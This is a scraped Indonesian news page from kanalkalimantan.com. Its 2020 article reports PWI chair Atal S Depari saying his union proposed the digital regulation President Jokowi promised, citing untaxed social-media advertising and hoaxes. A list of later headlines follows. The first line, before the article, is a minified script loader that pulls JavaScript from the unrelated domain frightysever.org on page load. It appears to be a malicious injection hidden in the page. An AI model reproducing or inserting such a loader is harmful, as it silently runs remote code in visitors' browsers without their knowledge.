(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Soal Draf Regulasi Digital, Ini Kata Ketua PWI


KANALKALIMANTAN.COM, BANJARMASIN – Pada gelaran Hari Pers Nasional 2020 di perkantoran Pemprov Kalsel pada Sabtu (8/2/2020), Presiden RI Joko Widodo menjanjikan akan mengeluarkan regulasi digital. Ini merupakan hasil bincang-bincang Jokowi dengan beberapa pemimpin redaksi media nasional. Jokowi pun meminta agar segera diwujudkan draf regulasi digital.

“Saya minta untuk segera disiapkan draft regulasi yang bisa memproteksi dunia pers kita,” kata Jokowi.

Nah, pada Minggu (9/2/2020) siang, Ketua PWI Atal S Depari mengakui, usulan regulasi digital itu merupakan usulan dari PWI. Dia berharap, pemerintah harus turun dalam mengatur soal regulasi digital ini.

“Karena begini, sekarang ini mainstream media, katakanlah koran, TV, radio dan online itu satu, mereka harus membuat produk sesuai undang-undang, kode etik. Dia mendapatkan iklan dan harus bayar pajak,” kata Depari.

Depari prihatin, dengan beredarnya berita-berita di media sosial yang agresif, mengambil berita seenaknya tanpa menggaji wartawan.  “Dia iklannya, 75 persen dikuasai oleh medsos iklan-iklan sekarang ini, tidak bayar pajak. Itu yang saya minta, harus dibuat aturan undang-undang,” keluh Depari.

Apalagi, di media sosial rentan sekali beredarnya hoaks atau informasi palsu. Sehingga, pihaknya kewalahan dalam berhadapan dengan hoaks. “Kita selalu direpotkan juga dengan hoaks, tanggungjawab kita juga ini,” lugasnya.

Dikatakannya, pengusulan regulasi ini dilakukan bersama-sama dengan komunitas pers yang bernaung di bawah Dewan Pers. Jikalau tidak bersama-sama pun, Depari berkeinginan akan membuat timnya sendiri dan menawarkan kepada pemerintah.

“Nanti saya bahas seperti apa bentuk regulasinya. Nanti di Dewan Pers tinggal disatukan saja, makin kaya aturannya,” tambahnya.

Jika regulasi ini tidak terwujud, diakuinya akan ada kendala yang menghadang. Sehingga, kehadiran pemerintah dirasa perlu untuk memberikan perlindungan agar tercipta media sustainable. (kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Bie

 


Al Ghifari

Recent Posts

2026 Kemendikdasmen Revitalisasi 11.744 Satuan Pendidikan, Kalsel Kebagian Rp232,9 M di 2025

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Pendidikan Dasar dan Menengah (Kemendikdasmen) tegaskan komitmen meningkatkan kualitas sumber daya… Read More

10 jam ago

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

24 jam ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

1 hari ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

1 hari ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

1 hari ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

1 hari ago

This website uses cookies.